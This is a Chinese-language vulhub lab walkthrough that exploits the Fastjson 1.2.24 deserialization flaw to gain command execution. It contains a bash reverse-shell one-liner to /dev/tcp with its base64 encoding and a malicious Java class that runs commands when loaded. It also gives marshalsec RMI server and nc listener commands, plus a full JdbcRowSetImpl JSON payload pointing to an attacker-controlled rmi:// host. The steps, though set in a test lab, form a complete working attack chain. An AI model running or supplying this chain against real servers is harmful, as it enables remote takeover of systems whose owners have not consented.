vulhub fastjson 1.2.24 反序列化导致任意命令执行漏洞

vulhub fastjson 1.2.24 反序列化导致任意命令执行漏洞

漏洞原理：反序列化漏洞，导致任意命令执行漏洞

环境搭建

执行如下命令启动测试服务器，其使用 Fastjson 1.2.24 作为默认 JSON 解析器：

docker compose up -d

访问 http://your-ip:8090 即可看到 JSON 格式的输出

：

我们可以通过向该地址发送 POST 请求来更新服务端的信息：

┌──(kali㉿kali)-[~]
└─$ curl http://10.22.108.80:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
{
        "age":20,
        "name":"hello"
}  

：

在主机创建fastjson.java文件

bash -i >& /dev/tcp/your-ip/7777 0>&1  //反弹shell
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMjguMC4yLzc3NzcgMD4mMQ==  //base64编码形式

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};//这是注入来执行命令
            											  //String[] commands = {"/bin/bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMjguMC4yLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"};也可以直接注入反弹shell
            											  // bash -i >& /dev/tcp/your-id/7777 0>&1
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在命令行运行java fastjson.java会生成fastjson.class，启动python http监听，监听端口为6666

：

然后使用 marshalsec 项目启动一个 RMI 服务器，监听 9999 端口，并指定加载远程类 fastjson.class(主要java版本为java8)：

└─$ wget https://github.com/RandomRobbieBF/marshalsec-jar/raw/refs/heads/master/marshalsec-0.0.3-SNAPSHOT-all.jar

└─$ java -version
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

└─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-id/#fastjson" 9999  //在marshalsec目录下使用

利用NC工具， 实现监听

└─$ nc -lvvp 7777

抓包Burp 抓取web页面的包，将抓到的包发送到重放器里，进行修改POST 提交内容（注意IP要修改正确，ip为本地your-ip），没有返回结果，并且发送数据仍在进行中没有停下,等待大约1分钟，shell连接成功

POST / HTTP/1.1

Host: your-id:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 161



{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://10.132.0.193:9999/fastjson",

        "autoCommit":true

    }

}